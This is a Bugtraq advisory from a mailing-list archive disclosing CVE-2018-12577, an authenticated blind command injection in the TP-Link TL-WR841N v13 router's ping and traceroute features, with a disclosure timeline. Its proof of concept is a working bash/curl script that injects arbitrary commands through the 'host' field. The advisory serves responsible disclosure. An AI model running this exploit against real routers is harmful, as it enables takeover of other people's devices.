bugtraq - TP-Link TL-WR841N v13: Authenticated Blind Command Injection (CVE-2018-12577)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <db47138a-ce9e-0e9f-4ca8-9396c0ea53bf@gmail.com>
Date: Wed, 27 Jun 2018 16:03:03 +0200
From: Tim Coen <tc.coen@...il.com>
To: bugtraq@...urityfocus.com
Subject: TP-Link TL-WR841N v13: Authenticated Blind Command Injection
 (CVE-2018-12577)

  * Vulnerability: Authenticated Blind Command Injection
  * Affected Software: TP-Link TL-WR841N v13
  * Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
  * Patched Version: None
  * Risk: High
  * Vendor Contacted: 05/20/2018
  * Vendor Fix: None
  * Public Disclosure: 06/27/2018

##### Overview

The ping and traceroute functionalities allow for OS command injection.
An authenticated attacker can use this to execute arbitrary commands on
the router by sending specifically crafter HTTP requests to it.

##### CVSS

High 8.7 CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

##### Details

The ping and traceroute functionalities accept user input and insert it
into a command without sanitation. An attacker can for example insert
further commands via a semicolon.

It should be noted that a user can already gain code execution by
uploading a custom firmware version. However, because of this
vulnerability, an attack could be performed by a remote attacker via a
CSRF issue in the same firmware version. Up until the previous firmware
version the attack could also be performed by an unauthenticated
attacker from the internal network because of a broken authentication issue.

##### POC

A successful attack requires the issuing of two POST requests. An attack
can for example be performed by intercepting the POST request to "/cgi"
and changing "host=127.0.0.1" to "host=127.0.0.1; reboot;"

The following script can be used to automate the process:

	if [ "$#" -ne 3 ]; then
		echo "Usage: ./exec.sh 'user' 'pass' 'reboot'"
	fi
	USER=$1
	PASS=$2
	COMMAND=$3
	AUTH=$(echo -ne "$USER:$PASS" | base64)

	BINARY1=$'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\x0d\x0adataBlockSize=64\x0d\x0atimeout=1\x0d\x0anumberOfRepetitions=4\x0d\x0ahost=127.0.0.1;'
	BINARY2=$';\x0d\x0aX_TP_ConnName=ewan_ipoe_d\x0d\x0adiagnosticsState=Requested\x0d\x0a'
	curl -i -s -k  -X 'POST' 'http://192.168.0.1/cgi?2' -H 'Referer:
http://192.168.0.1/mainFrame.htm' -H "Cookie: Authorization=Basic $AUTH"
--data-binary "$BINARY1$COMMAND$BINARY2"

	curl -i -s -k  -X 'POST' 'http://192.168.0.1/cgi?7' -H 'Referer:
http://192.168.0.1/mainFrame.htm' -H "Cookie: Authorization=Basic $AUTH"
--data-binary $'[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a'

##### Solution

The vendor did not fix the issue.

As an attack is only possible by an authenticated attacker or by
exploiting other vulnerabilities - such as CSRF issues or broken
authentication - users are advised to use secure passwords and to
mitigate against other vulnerabilities.

##### Timeline

- 05/20/2018 Requested email address via contact form (no response)
- 05/24/2018 Send advisory to security@...link.com asking for
confirmation, set disclosure date (no response)
- 06/01/2018 Asked for confirmation at support.usa@...link.com
- 06/04/2018 Vendor confirmed receipt of advisory
- 06/12/2018 Requested Status Update
- 06/14/2018 Vendor claims they never received advisory
- 06/14/2018 Resend advisory asking for confirmation (no response)
- 06/18/2018 Reminded vendor of disclosure date (no response)
- 06/18/2018 Requested CVE
- 06/19/2018 CVE assigned
- 06/27/2018 Disclosure

-- 
PGP Key: https://pgp.mit.edu/pks/lookup?op=get&search=0xFD8E2B9091A24C75